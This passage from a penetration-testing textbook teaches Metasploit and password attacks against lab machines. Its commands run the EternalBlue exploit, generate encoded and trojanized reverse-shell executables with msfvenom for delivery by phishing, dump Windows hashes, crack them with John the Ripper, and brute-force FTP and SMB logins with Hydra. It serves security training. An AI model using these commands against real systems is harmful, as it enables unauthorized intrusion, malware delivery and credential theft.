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3. Importing the scan into the Metasploit Framework is done using the
nessus_db_import scanid command, as shown in the following screenshot:

Figure 10: Importing the Nessus scan

Once you have imported your scan, you are now able to view the list of vulnerabilities and
perform searches to find out which vulnerability is covered by Metasploit.
Using the hosts -c address command, vulns gives us a list of vulnerabilities per host
and using the vulns command will display the full list of vulnerabilities and the IP address
of the host that has them. You will notice, in the following screenshot, that the
Metasploitable 3 virtual machine has a number of vulnerabilities, which were imported
from Nessus:

Figure 11: Displaying vulnerabilities discovered by Nessus
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We can now search for a specific vulnerability against the Nessus database import. For
example, using the vulns -S eternalblue command, we can search for a well-known
vulnerability, as shown in the following screenshot:

Figure 12: Searching for vulnerabilities within the Nessus scan

Notice that the output displays the IP address of the host and the vulnerabilities related to
the search query.

Using Metasploit to exploit a remote target
Now that we have imported data from Nessus, and we understand how to use the features
within the Metasploit Framework, let's perform an exploit to the Metasploitable 3 virtual
machine.
We will use the ms17_010_eternalblue exploit. We have identified that the
Metasploitable 3 virtual machine is vulnerable to this exploit:
1. Open the Metasploit Framework from a Terminal window using
the msfconsole command.
2. Once the Metasploit Framework has loaded, use the use
exploit/windows/smb/ms17_010_eternalblue command and press Enter.
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3. Define the target (which is the IP address of your Metasploitable 3 virtual
machine) using the set RHOSTS [IP] command.
4. We will use the Meterpreter payload, as this will be used later in this chapter.
Define the payload using the set
payloadwindows/x64/meterpreter/reverse_tcp command. Note all of the
set options, as shown in the following screenshot:

Figure 13: Exploit options deﬁned

5. Once you have defined the options, you can run the exploit using the exploit
command, as shown in the following screenshot:

Figure 14: Exploit has completed successfully
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You will now have a remote session established to the Metasploitable 3 virtual machine.
You will use this session later in this chapter.

Finding modules
As you perform penetration tests on various targets, you might run into a case where
Metasploit does not have an exploit that you can use. Perhaps you haven't encountered
such a situation, but you want to keep your Metasploit database up to date. In either
situation, having knowledge about where to find modules and how to add them into
Metasploit is a useful skill to have. There are a number of public repositories that host
modules that are available for download. These websites would be your number one
resource for finding modules for Metasploit.

Exploit-DB
The first one we will look at is the Exploit Database (commonly known as Exploit-DB). You
will recognize Exploit-DB from the previous chapter (Chapter 3, Performing Information
Gathering) when we worked with Google dorks. Exploit-DB can be accessed directly
at: https://www.exploit-db.com.
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The website has a section called exploits, where you are able to find modules that are
published by security companies and individuals. The website has features such as
verification of the module (V), the ability to download the module (D), and the ability to
download the vulnerable application (A) if applicable. This is depicted in the title bar
as D, A, and V, as shown in the following screenshot:

Figure 15: Exploit-DB showing a list of exploits

Notice that the modules span across multiple platforms and types.

Rapid7 exploit database
Rapid7 is another public resource where you are able to obtain modules (see Figure 16).
This repository is accessible at: https://www.rapid7.com/db/modules.
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Rapid7's exploit database is very similar to Exploit-DB; however, it does not contain
additional features such as the Google Hacking Database:

Figure 16: Rapid7's exploit database

Rapid7 also lists the vulnerabilities and links them to the relevant exploits. The following
example shows the CVE-2019-8943 Wordpress vulnerability and exploit link:

Figure 17: A vulnerability tied to an exploit

When you click on the exploit, you are able to view the complete details about what the
exploit does and its available options.
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0day.today
0day.today is another repository that holds a number of modules. The difference with
0day.today is that there are exploits available that can be purchased, as shown in the
following screenshot. Some of the paid exploits claim to perform activities such as Snapchat
takeover and Facebook group theft. There are other exploits that are available for free:

Figure 18: 0day.today exploit database

0day.today is accessible at https://0day.today/.

Adding modules
Now that we have covered how to find modules for the Metasploit Framework, let's dive
into adding a module. We will use the module that covers the exploit for Wordpress 5.0.0
— Crop-image Shell Upload (Metasploit). The direct link for this exploit is https://www.
exploit-db.com/exploits/46662.
Before we download the exploit, we will verify that it does not exist currently in the
Metasploit Framework. To do this, we can use the search command (see Figure 19). This
command allows you to search for specific modules:

Figure 19: Searching for a module related to crop-image
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Since there are no results, we will exit the Metasploit Framework and download the
module to add it. Using the preceding direct link, you can use the download function to
download the actual module, as shown in the following screenshot:

Figure 20: Downloading the exploit from Exploit-DB

All modules within the Metasploit Framework are located
within /usr/share/metasploit-framework/modules. Since this is an exploit and it is
related to http, I have placed it within the /usr/share/metasploitframework/modules/exploits/multi/http path, as shown in the following screenshot:

Figure 21: Location of the downloaded exploit

When you open the Metasploit Framework, performing a search will now display the
newly added exploit, as shown in the following screenshot:

Figure 22: Exploit added to the Metasploit database
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You can also use the loadpath command to load a newly added module, for
example, loadpath /usr/share/metasploit-framework/modules.

Metasploit options, shells, and payloads
Metasploit has a number of options, shells, and payloads that are used when you select
various exploits.
Covering all possible options within all exploits is not in the scope of this book, but I will
explain how to find the options and discuss the most common options that are used. It's
important to understand the various shells and payload options that exist.

Options
Different modules within the Metasploit Framework make use of different options. For
example, a login scanner module would contain options such as userpass_file,
pass_file, and user_file. In the following screenshot, you will notice the options for
the auxiliary/scanner/ssh/ssh_login module:

Figure 23: SSH login scanner options
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To view the options for a specific module, you can use show options command. To set an
option, you will use the set command. The most common options that you will use often
are the following:
RHOST: This refers to the remote host that you want to exploit. This tells
Metasploit which system you want to attack, so it's a mandatory field that should
be defined.
RPORT: This defines the remote port that you want to target. Some modules
might already have this field defined to the default value of the exploit. For
example, using the ms17_010_eternalblue module will have the RPORT value
defined to 445. The only time you would really modify the RPORT value is if the
target is using a custom port, such as using port 2222 for SSH, instead of port 22.
LHOST: This is the IP address that you want the target machine to connect to.
Keep in mind where you are located; if you are traversing a public network, then
you will need to define your public IP and configure port forwarding so that the
return traffic from the target machine can reach your system. Do not configure
values such as localhost, 0.0.0.0, or 127.0.0.1 as this will instruct the
target to connect to itself.
LPORT: This is the local port on your system that you want the target to connect
to.
Metasploit, being as intuitive as it is, will provide you with descriptions for each option that
exists in the various modules. You will notice this in the preceding screenshot.

Shells
There are two types of shells that exist within the Metasploit Framework. These are bind
shells and reverse shells.
A bind shell opens a new service on the target machine and requires you to connect to it to
obtain a shell. The problem with these shells is that firewalls by default block connections
on random ports, hence making a bind shell not as effective as a reverse shell.
A reverse shell pushes a connection back to the attack machine instead of waiting for you
to connect to it. It requires that a listener be set up first on the attack machine so that it
can listen for a connection from the target machine. A common practice is to set up the
listener on port 80 or 443. These ports are directly related to http and https respectively
and are linked to everyday web traffic. Blocking these ports is simply not feasible, therefore
making them prime targets for reverse shell connections.
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Payloads
The Metasploit Framework has a large collection of payloads, which can be used for all
types of scenarios. Viewing the current payloads can be done with the show payloads
command. When you run this command, some of the payloads will have the same name
and look as if they do the same thing; however, there is a difference. For example, if you
look at the windows/shell/reverse_tcp and windows/shell_reverse_tcp payloads,
the forward slash / tells us that it is a staged payload, and the underscore _ tells us that the
payload is a single one.
A staged payload is a payload that consists of two main components. The components are a
small loader and final stage payload. The stagers are responsible for pulling down the rest
of the staged payload. Looking at the preceding example, windows/shell/reverse_tcp
will perform two functions. First, it will send the loader and, once the loader is executed, it
will request the handler (the attacker) to send over the final stage payload. Once that is
completed, you will have a shell. An example is seen in the following screenshot:

Figure 24: An Eternalblue staged payload

A single payload is a fire-and-forget type of payload. This payload contains both the loader
and the payload. When this type of payload is used, both the loader and the payload are
sent at once to the target.
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Meterpreter is an attack payload that provides an interactive shell. Within this shell, the
attacker can explore the target and execute code. It is deployed using an in-memory DLL
injection. This results in Meterpreter running entirely in memory and not touching the
target's local disk. Meterpreter injects itself into other running processes, making its
forensic footprint very small. It was designed to circumvent the drawbacks that other
payloads may have, such as triggering alarms that might alert the target to your activities.
If you think of a reverse shell, its purpose is relatively simple: it is to obtain a shell. This
may be your first choice, but having a good knowledge of the various types of payloads
will help you to select the best option for your penetration test. For example, using
the windows/meterpreter/reverse_tcp payload is stable and it works, however, using
windows/meterpreter/reverse_https is the more powerful choice. How so?
The windows/meterpreter/reverse_https payload provides a lot more features, such
as having an encrypted channel (making it harder to detect).
Meterpreter provides the ability to remotely control the filesystem. Using this functionality,
you can upload file to the target and download files. In the following screenshot, I am using
the upload functionality within Meterpreter to upload a malicious version
of procmon.exe. The getwd command is used to show the current working directory on
the target system. The getlwd command is used to show the working directory on the local
system:

Figure 25: Leveraging the upload functionality of Meterpreter
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Meterpreter has a number of post-exploitation modules that can be used. These can be
found using the search post command. In the following screenshot, I am using the post
module, which enumerates the logged-on users. Notice that it will save the results in
the loot folder, so you can reference this again at a later stage:

Figure 26: Using a post-exploitation module within Meterpreter

Another feature of Meterpreter is the hashdump command. This command dumps the
current hashes of the system, which you can copy to a text file for offline password
cracking, as shown in the following screenshot:
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Figure 27: Using the hashdump command to dump the current hashes of the target system

The preceding hashes were dumped from the Metasploitable 3 virtual
machine. Keep these, as you will use them again in Chapter 6,
Understanding Password Attacks. I saved them as Meta3-hashes.txt.
Meterpreter has a long list of features. As you conduct various penetration tests, you will
leverage different features in various scenarios.

Working with MSFvenom
Earlier in this chapter, we focused on using the Metasploit Framework to exploit a
vulnerability on a target system and take control of it. With MSFvenom, instead of relying
on a vulnerability in the system, you are aiming to exploit the most common security issue
in all organizations: users. This is a vulnerability that can never be fully patched.
MSFvenom is essentially used to build shellcode. Shellcode can be defined as code that,
when it is run, creates a reverse remote shell back to the attacker.
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Shellcode can be used by inserting it into a file and then sending that file off to your target.
This can be done using a phishing campaign, as we learned in Chapter 4, Mastering Social
Engineering. Once the file is run, you can obtain remote access to the target's computer.
Real-world attackers leverage this technique too. Shellcode is not only limited to a file, but
can also be inserted into software. This is common with malicious applications that you
may find on app stores for mobile devices. Moving away from phishing and software,
shellcodes can be embedded into websites that have been compromised. Hence, when
someone browses a website, malicious software can be loaded onto their machine, allowing
it to be compromised.
Shellcodes could be built in earlier versions of Metasploit by the msfpayload and
msfencode commands. These services have now been combined with the msfvenom utility
and replaced. If you are used to the old tools, msfvenom is not a problem because there are
few modifications.
There are advantages to using MSFvenom:
There's a single tool to generate cross-platform shellcodes.
Command-line options are standardized.
The increased speed when creating shellcodes gives you the ability to use
applications as templates.
To use MSFvenom, you will need to enter the msfvenom command from a Terminal
window in Kali Linux. The application will present you with a list of available options.
Some of the most important options are as follows:
-p is used to select the Metasploit payload. There are a number of

payloads available; these support Windows, Linux, Mac, and more. An example
of defining a payload is as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL
PORT> -f exe -o shell.exe

In the example, we are using the windows/meterpreter/reverse_tcp
payload, the local host and IP address are defined. The output format is defined
as .exe using the -f option, and the output file is saved as shell.exe using
the -o option.
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-e is used to select the encoder. An encoder is an algorithm that can be used to

re-encode payloads. This is used to obfuscate the intent of the payload. You can
find a list of encoders by using the msfvenom -l encoders command. An
example of using an encoder is as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL
PORT> -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe

In the example, the encoder selected is shikata_ga_nai and the iterations
defined is 3 using the -i option.
-x is used to define a custom executable file to use as a template. Using this

option, you can take a legitimate file and create a malicious version of it, which
can grant you a remote shell. An example of this is as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL
PORT> -x procmon.exe -f exe -o evilprocmon.exe

In this example, putty.exe is being used as the template to create a malicious version
called evilputty.exe.

Summary
In this chapter, we looked at the Metasploit Framework. We defined what it can be used for
and explored the various types of modules included. We worked on some of the initial
tasks of Metasploit and looked at where we can obtain new modules. Using the flexibility
of Metasploit, we imported data from other sources such as Nmap and Nessus and
explored the core components of Metasploit. Lastly, we looked at using MSFvenom in the
creation of shellcode.
You now have the ability to perform the initial configuration of the Metasploit Framework.
You have learned how to perform some initial setup tasks such as updating the Metasploit
Framework and linking it to a database. You have gained skills on how to enhance your
experience within the Metasploit Framework by using workspaces and importing data
from tools such as Nmap and Nessus. You have learned where to obtain new modules and
how to install them. You have gained an understanding of the main options of Metasploit
and the difference between shells and payloads. Finally, in this chapter, you have gained
skills on how to leverage shellcodes using MSFvenom.
In the next chapter, (Chapter 6, Understanding Password Attacks), we will look at the various
types of password attacks and where to obtain password lists from. We will leverage builtin tools within Kali Linux and perform some password cracking and credential dumping.
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Questions
1. Name one key feature that has been introduced in version 5 of the Metasploit
Framework.
2. Name at least three modules that exist in the Metasploit Framework.
3. Name two external data sources that can be imported into the Metasploit
Framework.
4. Name at least two public repositories where additional modules can be
downloaded.
5. What is the difference between a bind shell and a reverse shell?
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6
Understanding Password
Attacks
In cryptanalysis, password cracking can be defined as the process of recovering the
cleartext passphrase by using its hash counterpart. Passwords are part of our daily lives; we
use them in almost everything we do. As the security of systems has developed by looking
at various ways to encrypt passwords, so have the tools that can crack them.
In this chapter, you will benefit from taking a look at how passwords have become part of
our everyday lives. You will gain skills in finding, building, and customizing wordlists.
You will learn how to leverage wordlists and use them in various password cracking tools
within Kali Linux. You will gain an understanding of the various tools, and when and how
they can be used in a penetration test.
As you progress through the chapter, you will learn the following:
Introduction to password attacks
Working with wordlists
Offline password cracking
Online password cracking
Dumping passwords from memory

Technical requirements
The following technical requirements are required for this chapter:
Kali Linux 2019.1
Metasploitable 2 and 3 virtual machines

Understanding Password Attacks

Chapter 6

Introduction to password attacks
Passwords are nothing new. They have been around for centuries. For example, the Roman
military used passwords to distinguish friend from foe. In the early 1960s, the concept of
passwords was used by people accessing computer systems and sharing data. The purpose
was to help keep individual files secret from other individuals. From there on, it became the
de facto standard for computer security, both for personal and corporate use. At inception,
securing passwords was not much of a concern. As time went by, and because of the boom
of the internet, security became more of a concern as people started having sensitive
information on the internet.
Hashing and salting were later introduced to aid in the security of passwords. Hashing
performs a one-way transformation of the password, in essence turning the password into a
string of characters. Salting is a unique value of data that is added to the password, which
results in a different hash being generated. Comparing a password that is simply hashed to
a password that is hashed with salt will result in two completely different hashes.
Today, usernames and passwords are a combination that is used by people every day.
Devices such as computer systems, mobile devices, game consoles, tablets, and more, are all
protected by passwords. As a computer user, you probably have passwords for many
purposes, such as logging into a system, and accessing email, databases, networks,
websites, applications, and elevated services.
During a penetration testing engagement, you will often encounter passwords as your
smallest obstacle. Businesses with a high level of security maturity will still have users who
are the weakest link. As we have learned in Chapter 4, Mastering Social Engineering, users
can be exploited by using social engineering. Users are also predictable, and the majority
will use passwords that are easy to predict.
Passwords introduce an inseparable problem. Shorter passwords are easier to remember,
and easier to guess. Longer passwords are harder to crack, but also harder to remember.
Add complexity into the mix and the problem remains the same. If password requirements
are too complex, users will end up forgetting them or, even worse, write them down. This
introduces problems such as a high volume of password resets, which you can exploit by
social engineering. Writing passwords down can easily be noted while walking through the
building. Now, let's factor into consideration the fact that users have passwords for
multiple online services such as Amazon, Spotify, iTunes, Facebook, and Instagram, and
the list goes on. Keeping track of so many passwords is difficult, and has led to many
people using the same password more than once. This introduces a major problem if an
attacker is able to obtain one password; everything can be accessed.
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Let's take a look at how we can leverage various methods to crack passwords and, in some
cases, you don't even need to crack the password to use services.

Working with wordlists
In order to crack a password, you need to have a list of credentials that you can try. You can
utilize a user list (which contains usernames only), a password list (which contains
passwords only), or a list that combines the two.
Userlists is a list that contains usernames. It can be built by performing reconnaissance on
your target, or, in some cases, it may be provided to you for the penetration test. If you
need to build your own userlist, there are some questions to consider. Is the target
using firstname.lastname as the username? Perhaps the target's username is the same
as their email address? A good way to find usernames is looking at the metadata of files
publicly posted on the internet. You can use a simple Google query to find specific file
types, using the filetype: search string.
In Chapter 3, Performing Information Gathering, we looked at how to use
Google dorks for information gathering.

Within Kali Linux, using Firefox ESR, and using the search string filetype:xls, I was
able to pick up a number of documents that had details that could give me a clue as to the
username structure (as shown in the following screenshot). You can perform the same
analysis using a tool such as ExifTool. ExifTool is a cross-platform tool that supports a
number of file formats. It's lightweight and you are able to obtain a lot of information from
files.
To install ExifTool in Kali Linux, you need to run the following command from a Terminal
window:
apt install libimage-exiftool-perl
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Once installed, you can query the file using the exiftool [options] file command. To
view a full list of the options, you can use the man exiftool command, which will display
the documentation within the Terminal, as shown in the following screenshot:

Figure 1: Extracting metadata using the exiftool

In the preceding screenshot, we are able to determine that this specific company's username
structure is name.surname. We can perform further investigation using LinkedIn to obtain
a list of employees who work at the company and generate a username list from there.
Password lists contain passwords. You can download these or even build your own. Kali
Linux contains some password lists, although these are not as comprehensive as the ones
you will find on the internet.
The built-in wordlists are found at /usr/share/wordlists and contain the
famous rockyou.txt password list, as shown in the following screenshot:

Figure 2: Kali Linux built-in word lists
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Some of the tools within Kali Linux have their own wordlists; for example, the tool John
the Ripper has a password list located at /usr/share/John/password.lst.
The Metasploit framework has a number of wordlists located
in /usr/share/metasploit-framework/data/wordlists.
There are a number of online resources where you can obtain password lists. Some
websites host older password lists that are not updated often. The ones that are kept
updated are located at sites such as WeakPass (https://weakpass.com) and Seclists
(https://github.com/danielmiessler/SecLists/tree/master/Passwords). Seclists can be
installed inside Kali Linux using the apt install seclists command. This will
download the current release of the password lists into the /usr/share/seclists
path, as shown in the following screenshot:

Figure 3: List of password lists from Seclists

Some sites, such as CrackStation (https://crackstation.net/crackstation-wordlistpassword-cracking-dictionary.htm), host a fairly large database and offer an online hash
cracker.

Password profiling
As you plan a penetration test, it is important to have a customized password list that will
apply exclusively to your target. Having a profiled password list can aid in the success of a
penetration test, as you eliminate the time spent using a public wordlist, which is generally
very broad.
One way to customize your password list and make it more specific to the target is by using
the technique of password profiling. Password profiling involves taking words or phrases
from the organization you are targeting and including them in a wordlist with the aim of
improving your chances of finding a valid password.
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In Chapter 3, Performing Information Gathering, we performed Nmap scans on the
Metasploitable 2 and 3 virtual machines. Some of the open services were SSH (port 22) and
FTP (port 21). In the previous Chapter 5, Diving into the Metasploit Framework, we explored
some attacks against these vulnerable virtual machines. Now, we will perform some attacks
that leverage a password file, but instead of using a password file form the internet, which
will contain thousands of passwords, we will build one that has been profiled.
Kali Linux comes with a tool called CeWL. CeWL spiders a given URL to a depth that you
can specify, and returns a list of words that can be used. CeWL is customizable, allowing
you to specify the minimum and maximum length of words, extract words from the
metadata of files, and much more.
To build a wordlist related to the Metasploitable virtual machines, we can use the wiki page
that is available at https://github.com/rapid7/metasploitable3/wiki.
Using the following command, we will generate the wordlist that we will use for a
password brute force. In the command, we defined the minimum word count (-m
7), the spider depth (-d 1), and then we instructed CeWL to write the output to a file on
the desktop called metasploitable-dict.txt (-w) as follows:
cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 1 –w
/root/Desktop/metasploitable-dict.txt

Once the command is completed, we have a wordlist that currently contains 2,443 words,
as shown in the following screenshot:

Figure 4: CeWL-generated wordlist

To perform a word count on a text file, you can use the command wc -w
[file].
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Now, we can perform a test using the wordlist we have just created. We will run the
wordlist against the Metasploitable 3 virtual machine to check whether we can access it
using the Server Message Block (SMB) protocol. This can be checked using the auxiliary
module auxiliary/scanner/smb/smb_login by performing the following steps:
1. From a Terminal window, open the Metasploit Framework using the
msfconsole command. Ensure that you have the PostgreSQL service started
before running the msfconsole command.
2. Load the auxiliary scanner using
the use auxiliary/scanner/smb/smb_login command.
3. Next, we will define the following options:
SET RHOSTS [IP]: Here, you will define the Metasploitable 3 virtual
machine's IP address. This can be picked up using netdiscover -r
[subnet] or by logging into the virtual machine and checking its IP
address using the ipconfig command from a command prompt
window.
SET USER_FILE [path] and SET PASS_FILE [path]: Here, we
define the wordlist. Using the wordlist generated by CeWL, the path
we defined was /root/Desktop/metasploitable-dict.txt.
SET STOP_ON_SUCCESS true: This tells the scanner to stop scanning
once it has found a successful credential.
SET VERBOSE false: This stops the scanner from displaying the
output on the screen. It will only display the successful output.
4. Once the options are defined, we run the scanner using the run command. Once
a successful credential is found, the output is displayed as per the following
screenshot:

Figure 5: Output from the Metasploit Framework SMB login scanner

Metasploit stores discovered credentials in its database. The credentials
can be accessed using the creds command.

[ 145 ]

Understanding Password Attacks

Chapter 6

A key point to keep in mind is that the larger your wordlist, the more time it will take. By
using a profiled wordlist, you are reducing the amount of time spent on finding a valid
login.

Password mutation
Users will often mutate their passwords in a variety of ways. Some types of mutations
include adding in numbers at the end of the password, swapping out characters, such as
using a 3 for an "e", using capital letters, and more.
Using John the Ripper, we can perform mutations on a password list. John the Ripper
comes with an extensive configuration file that holds a number of predefined password
mutation rules. This configuration file can be found at /etc/John/john.conf.
Within the configuration file are rulesets defined as [List.Rules:<name>], for
example [List.Rules:Wordlist] or [List.Rules:hashcat], and the list goes on. You
can view the various current rules by using a simple concatenate query: cat
/etc/john/john.conf |grep List.Rules, as shown in the following screenshot:

Figure 6: Snippet of the current rulesets within John the Ripper

Let's perform a few mutations. For illustration purposes, I will create a new file
called mutate-test.txt and put just one word inside password and store it on the
desktop. You can do this using leafpad, nano, or your favorite text editor.
Once the file is created, we can perform some mutations and observe the output. Editing
the John.conf, file, I have added in a custom ruleset called List.Rules:Custom as per
the following screenshot:
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Figure 7: Custom rule mutation

In this custom rule, I am telling John the Ripper to add two additional numbers to the end
of each password. Here is a list of the common commands that you can use within a ruleset:
$: This appends a character or number to a word. In the preceding custom rule,
you will notice I have defined a group of numbers that is denoted by [0-9]. This
will append 0, 1, 2, 3, 4, 5, 6, 7, 8, and 9 to the word. You can also append a
single character; for example, using the command $9 will append just a 9 to the

word.
^: This prepends a character or number to a word. Here, you can define ranges as
per the previous $ command.
l: This converts all the characters to lowercase, and c converts them to
uppercase.
t: This toggles the case of all characters in the word.

Let's take a look at the output of this rule using the following command:
john --wordlist=/root/Desktop/mutate-test.txt --rules:Custom --stdout >
mutated.txt
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We have a new file called mutated.txt, which will have the word defined in mutationtest.txt mutated. The stdout command is used to output candidate passwords. Notice
that the content of the mutated.txt file contains two additional characters at the end of
the main word, as shown in the following previous :

Figure 8: Mutated password list

As you work with password mutations, you will find that some rules work better than
others. The key is to find what works for your target, and knowing that you have the
flexibility of John the Ripper to perform password mutations.

Offline password attacks
Offline password attacks are a way of cracking passwords without being discovered. Since
there is no brute forcing to an active service, the risk of detection is a lot less. The aim is to
obtain the hashed version of a password and reverse it back to plain text. Different hashing
algorithms output different hashes of varying bit lengths. Since hashes are made up of
hexadecimal numbers, which are four bits each, identifying a hash bit length would entail
counting the number of hexadecimal numbers and multiplying by four.
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For example, a hash of
63640264849A87C90356129D99EA165E37AA5FABC1FEA46906DF1A7CA50DB492 contains
64 characters. 64 x 4 = 256. This tells us that the bit length of the hash is 256 bits. In this
example, the most common hashing algorithm that would output a 256 bit hash is
SHA-256. What if you have a hash that is 128 bits? Here, we have a few algorithms that
come into play, such as MD2, MD4, MD5, and RipeMD-128. This is where your intuition
comes into play when identifying what hash you have. For example, if you have extracted a
hash from a MySQL database, the chances are that the hash is an MD5 hash.
Fortunately, there are tools that can help you identify a hash, thus making your time spent
on performing a manual calculation a lot less. However, knowing how to calculate the hash
bit lengths and training your powers of perception will never be a waste.
In the current release of Kali Linux (2019.1), there is a tool called Hash Identifier, which
will attempt to identify a hash. This tool can be run from a Terminal window using the
hash-identifier command. Let's attempt to identify the SHA-256 hash discussed
previously. Notice the output in the following screenshot:

Figure 9: Identifying a hash using hash-identiﬁer
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Using hash-identifier makes identifying hashes simple, as the hash identified is very
specific.

John the Ripper
John the Ripper is both feature-rich and fast. It leverages several cracking modes in one
program and is fully configurable (as we have seen with password mutations). John the
Ripper is available on multiple platforms, which makes it easy to use the same cracker on
multiple systems. It is included by default in Kali Linux.
Some of the features of John the Ripper are as follows:
Hash types can be autodetected
Cross-platform support
Support of multiple hash algorithms
The syntax for John the Ripper is as follows:
john [options] [password file]

Now that we have identified the hashing algorithm, let's attempt to crack this hash using
John the Ripper by taking the following steps:
Step 1: Add the hash to a text file using a text editor. I have named the file

sha256hash.txt.

Step 2: Within a Terminal window, run the following command:
john --format=raw-sha256 [filename] --wordlist=[wordlist path].

In my example, I have used the rockyou.txt wordlist. So, the full command
in my environment is as follows:
john --format=raw-sha256 sha256hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
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Notice the output in the following screenshot:

Figure 10: Cracking an SHA-256 hash using John the Ripper

John the Ripper stores all cracked passwords in a john.pot file, which is located where
you have installed John the Ripper. By default, in Kali Linux 2019.1, it is located at
/root/.John/john.pot, as shown in the following screenshot:

Figure 11: Cracked passwords stored in the john.pot ﬁle.

Let's attempt to crack the hashes we have dumped from Chapter 5, Diving into the
Metasploit Framework, using John the Ripper. From a Terminal window, use the following
command:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT [filename] -rules=wordlist --pot=[filename].pot

In this command, we are defining the wordlist to be used (rockyou.txt), the ruleset to use
(wordlist), and where to store the cracked hashes (meta3.pot):

Figure 12: Using John the Ripper to crack the hashes obtained from Metasploitable 3
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Cracking password hashes can sometimes be very time-consuming and
not feasible when you are pressed for time during a penetration test.
Another approach of making use of dumped password hashes is to reauthenticate to a remote system using a valid combination of a username
and NTLM/LM hash. This technique is called Pass-the-Hash (PTH), and
has been around since 1997.
Even though we were only able to crack three passwords, we still cracked a privileged
account, which is the administrator account. If I had to use a more complex wordlist and
more complex rules within John the Ripper, it would have probably cracked all of the
hashes. Keep in mind that as you add more complexity, the time to crack the passwords
takes a bit longer.
In order to crack accounts on a Linux system, you will need the following two files:
/etc/passwd: This contains the user information
/etc/shadow: This containing the corresponding password hashes for the users

Before we can crack the passwords, these two files need to be combined. This can be done
by using the unshadow command, as shown in the following screenshot:

Figure 13: Using the unshadow command to combine the passwd and shadow ﬁles

Now, we can leverage this combined file with John the Ripper using the following
command:
john --wordlist=/usr/share/wordlists/rockyou.txt [filename] --pot=[potname]

John will begin cracking the passwords of the Linux hashes (as shown in the following
screenshot). Notice in this scenario that we did not define the format; John the Ripper is
able to identify the hash type and apply the correct cracking algorithm, as shown in the
following screenshot:
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Figure 14: Using John the Ripper to crack the hashes obtained from Metasploitable 2

Even though the root password was not cracked in the preceding screenshot, leveraging a
more complex wordlist and rules within John the Ripper will likely crack the password.

Hashcat
Hashcat is another offline password cracking tool that is claimed to be the world's fastest
and most advanced password recovery utility. It is installed by default within Kali Linux,
and it combines both the CPU and GPU versions in a single program.
The program supports a multitude of hashing algorithms, with unique modes for password
cracking. Hashcat supports multiple platforms, such as Windows, macOS, and Linux.
Some of the features of Hashcat are as follows:
It supports multiple threads
Multihash support (cracking multiple hashes at the same time)
Multi-device support (utilizing multiple devices in the same system)
Multi-device types (utilizing mixed device types in the same system)
It is multi-algorithm based (MD4, MD5, SHA1, DCC, NTLM, MySQL, and much
more)
It uses specialized rules to extend attack modes
The syntax for running Hashcat is as follows:
hashcat [options]... hash|hashfile|hccapxfile
[dictionary|mask|directory]...
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Some of the common options used are as follows:
-m defines the hash type using the number of the hash. For example, MD5 is

number 0, and SHA1 is 100.
-a defines the attack mode.
-o defines the output file.

The attack modes in Hashcat are defined as follows:
Dictionary attack: (Also called straight mode or attack mode zero), this tries all
words in a given list.
Combination attack: (Known as mode 1), this concatenates words from multiple
wordlists.
Brute force and mask attack: (Mode 3) tries all characters from given character
sets.
Hybrid attack: (Mode 6 and 7) combines wordlists and masks and the other way
around. Rules can also be used with this attack mode.
Hashcat supports a multitude of hashing algorithms; these can be seen under the [Hash
modes] section, as shown in the following screenshot, when using the hashcat -h
command from a Terminal window. The following screenshot is just a snippet of the hash
algorithms supported. When you run the command in your own lab, you will see the full
list:

Figure 15: Hashcat-supported algorithms
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If you have a GPU, you can really leverage the power of Hashcat for password cracking.
Unfortunately, GPU cracking is not with in the scope of this book.

Online password attacks
Just like using an automated vulnerability scanner, we can leverage tools to automatically
attempt to log in to services and find valid credentials. These tools are designed to
automate online password attacks until the server responds with a valid login. An online
password attack can be defined as trying to log in to a live service by brute forcing
credentials until a valid combination is discovered.
The trouble with online password attacks is that they can be noisy, and trigger alarms. Let's
look at some of the online password attack tools that are commonly used.

Hydra
Hydra is a login cracker that is very fast and flexible. It supports modules that can easily be
added. It provides powerful authentication brute forcing for many protocols and services.
The syntax for Hydra is as follows:
hydra [username options] [password options] [options] [IP address]
[protocol] -V -f

The following are some of the options that are available:
-l denotes a single username.
-L defines a username list.
-p defines a single password.
-P defines a password list.
-t is used to limit concurrent connections.
-V tells Hydra to display verbose output.
-f is used to stop on the correct login.
-s is used to define a port.
-x leverages a brute force mode. For example, -x 5:8:A1 generates passwords 5

to 8 characters in length with uppercase and numbers.

Hydra supports a number of services, some of which include ssh, smb, smtp[s], LDAP,
http/s, Telnet, and MySQL.
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Let's leverage Hydra to attack services on the Metasploitable 2 virtual machine.
In Chapter 3, Performing Information Gathering, we performed an Nmap scan against the
Metasploitable 2 virtual machine. One of the services that we discovered was ftp port 21.
Using the password list we generated earlier, we can use this with Hydra to perform an
online password attack.
From a Terminal window in Kali Linux, we use the following command:
hydra -L [username file] -P [password file] [IP address] [service] -f

In this command, we are defining a username and password list. You will notice in my
example that I am using the same file for both. You can leverage a dedicated username
file if you have one. The service we are targeting is ftp, and we want Hydra to stop once
a valid login is found, so we use the -f option, as shown in the following screenshot:

Figure 16: Using Hydra to brute force a login to the FTP service of Metasploitable 2

Hydra has the ability to resume canceled scans. In the following screenshot, you will notice
that I used a larger password list and purposefully canceled the scan using the Ctrl + C key
sequence. Take note of the following message that Hydra wrote. Hydra created
a hydra.restore file that can be used to resume the session:

Figure 17: Hydra resume functionality
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It's important to keep in mind that most services are configured to lock out accounts after a
certain number of failed login attempts. This is one way of getting noticed by the target's IT
staff. Intrusion prevention devices can also come into play when there are rapid successions
of login attempts. The key is to slow down the number of password attempts made to the
service. However, this will cost you time.
Hydra is a tool that you should have in your penetration testing toolkit. It is capable of
running through massive lists of usernames, passwords, and targets. It can be tuned using
various flags to adapt to situations you may encounter during penetration tests.

Medusa
Medusa is claimed to be a speedy, parallel, and modular login brute force tool. It supports
many services that allow remote authentication.
The following are some of the key features of Medusa:
Parallel testing: This provides the capability of testing against multiple hosts,
users, or passwords simultaneously.
Variable user input: This provides the ability to specify the target information in
a variety of ways. You can use files that contain a hosts' list, for example, or you
can define a single host in the command.
Modular design: Modules exist as independent files (.mod). If any changes are
needed to the modules, the core application does not need to be modified.
Multiple protocols supported: Similar to Hydra, Medusa supports a wide range
